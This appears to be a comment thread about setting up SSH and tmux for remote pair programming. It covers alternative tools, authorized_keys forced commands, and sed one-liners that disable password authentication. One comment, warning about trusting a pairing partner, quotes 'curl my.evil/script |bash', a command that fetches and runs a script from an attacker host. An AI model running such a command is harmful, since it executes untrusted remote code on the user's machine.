http://tmate.io/ solves that problem, and does it a little better since it goes through firewalls :)

This is a great alternative that is definitely more turnkey. I would still advise setting up public-key authentication and adding the appropriate keys to authorized_keys for a more secure configuration. Our remote users are "local" via VPN (which also acts as another layer of security) so we were less concerned with traversing firewalls, but this is perfect for pairing with "outsiders". Thanks!

Letting people onto my machine makes my skin crawl. I'd rather use something like Syme: https://syme.herokuapp.com

Seajure, the Seattle-area Clojure user group, uses Syme, and it seems pretty effective.

If you're concerned about security, you might be interested in https://coderpad.io, which lets people collaborate and run code in the browser. We support most programming languages.

This definitely opens up risks to anyone you pair with. However, the thought is that by restricting access to a specific tmux session and only to those you have explicitly added as "authorized", you can limit those risks by a considerable amount. This works well for us because we only use this for developers on our teams. I would advise not adding anyone's public key to your authorized_keys file that you don't fully trust. Thanks for feedback!

Agreed, it'd be pretty easy to run a quick "curl my.evil/script |bash" when the sharer wasn't paying attention.

This is definitely one of the cases where you completely trust the other person. Like a work colleague, or very good friend.

What would the problem be if you are using a VM for the project and they ssh into the VM?

tmate.io with your own vps for hosting the tmate server component sounds like a decent alternative. Either run the tmate.io vm on your workstation (iffy) or on your (presumably already multi-user) server.

Then use a shared neutral host or VM that you both ssh into.

Another tool I tried out for pair programming remotely with great success was Floobits (https://floobits.com/) and their tmux like terminal plugin flootty.

Pretty slick stuff. Fair warning: your "sed -i.bak" lines are only going to wind up with the next to last version backed up since each update to sshd_config will overwrite the last sshd_config.bak.

You could chain all the sed changes together into one command (tested on Linux, OSX's sed might need some tweaks):

    sed -i.bak 's/^#\?\(\(ChallengeResponse\|Password\)Authentication\).*$/\1 no/' /etc/sshd_config

This a great tip! We've updated the post and credited you for the info. Thanks!

My huge takeaway is that you can specify the shell for each key you allow to connect. I have been tweaking /etc/shells like a dope for the past 15 years. So what this means is that, when you add a key to your authorized_keys file, you can also set an optional parameter that forces the command they are going to run (overriding any command they thought they would run instead).

Yup. Gitolite uses this method for authentication. The admin configures the public keys to be forced into the gitolite command, and then gitolite can handle access control: http://gitolite.com/gitolite/how.html#(11)

Sorry for linking into a slideshow it's just the first link I found. Arrow keys left/right navigate.

Off-topic: I looked for a link for job postings at to your company, but instead found your announcement for an open house, in December. Of 2012.

Even if you aren't looking for candidates (I'm coming fresh off the "engineer crunch" thread so I'm probably overly-hot on the topic), that should be updated somehow.

As someone who would prefer to not have to use my Mac anytime I want to pair with people (I'm primarily a command-line-only Arch guy), this is super useful to me.

I was way too lazy to figure this out on my own.

Ah, thank you for this

    sudo sed -E -i.bak 's/^#?(PasswordAuthentication|ChallengeResponseAuthentication).*$/\1 no/' /etc/sshd_config

Has anyone tried wemux? https://github.com/zolrath/wemux